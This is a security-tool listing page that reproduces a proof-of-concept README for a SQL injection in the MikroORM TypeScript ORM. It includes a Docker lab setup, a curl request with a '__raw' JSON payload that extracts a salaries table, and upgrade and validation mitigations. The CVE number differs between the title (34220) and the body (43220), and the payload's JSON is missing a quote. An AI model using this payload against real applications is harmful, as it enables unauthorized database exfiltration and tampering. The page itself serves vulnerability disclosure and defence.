Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/eqstlab/cve-2026-34220
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubeqstlab/cve-2026-34220

CVE-2026-34220

SQL Injection vulnerability in MikroORM

查看仓库
111天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-43220 MikroORM SQL Injection

★ CVE-2026-43220 MikroORM SQL Injection PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


Overview

CVE-2026-43220 is a SQL Injection vulnerability in MikroORM, a widely used TypeScript/Node.js ORM framework.
When a user-supplied value containing a __raw property is passed to a Custom Type column without validation, MikroORM's isRaw() check identifies it as a trusted internal Raw SQL expression and inserts the attacker-controlled sql value directly into the generated query without type conversion or sanitization, causing unintended execution of arbitrary SQL.


Affected Versions

下载工具
CategoryVersion
VulnerableMikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5
PatchedMikroORM 6.4.4 & 7.0.6

Impact

  • Exfiltration of sensitive data from the database without authorization
  • Corruption or unintended modification of existing database records

Environment

root@kitploit:~
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

After starting the vulnerable environment, follow the steps below to reproduce the attack.

Step 1. Send a request with a malicious payload containing __raw

Send a JSON body that includes a __raw property targeting a Custom Type column.

root@kitploit:~
curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Step 2. Check the HTTP response

Verify that the API returns a successful response without any error, indicating that MikroORM accepted the malicious payload as a valid value.

Step 3. Confirm sensitive data is exfiltrated into post content

Verify that the content field of the created post contains the query result from the salaries table (e.g., Alice: 5000 / Bob: 7000 / ...), confirming that data from an unrelated table has been silently embedded into the response without any error or access control violation.


Mitigation

  • Upgrade to MikroORM 6.4.4 or later, which introduces origin verification in isRaw() to reject externally supplied __raw properties
  • Apply whitelist-based input validation to reject unexpected properties such as __raw before passing values to ORM layer

Analysis

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-orm-injection-explained
  • EN: https://www.skshieldus.com/en/report?tab=eqst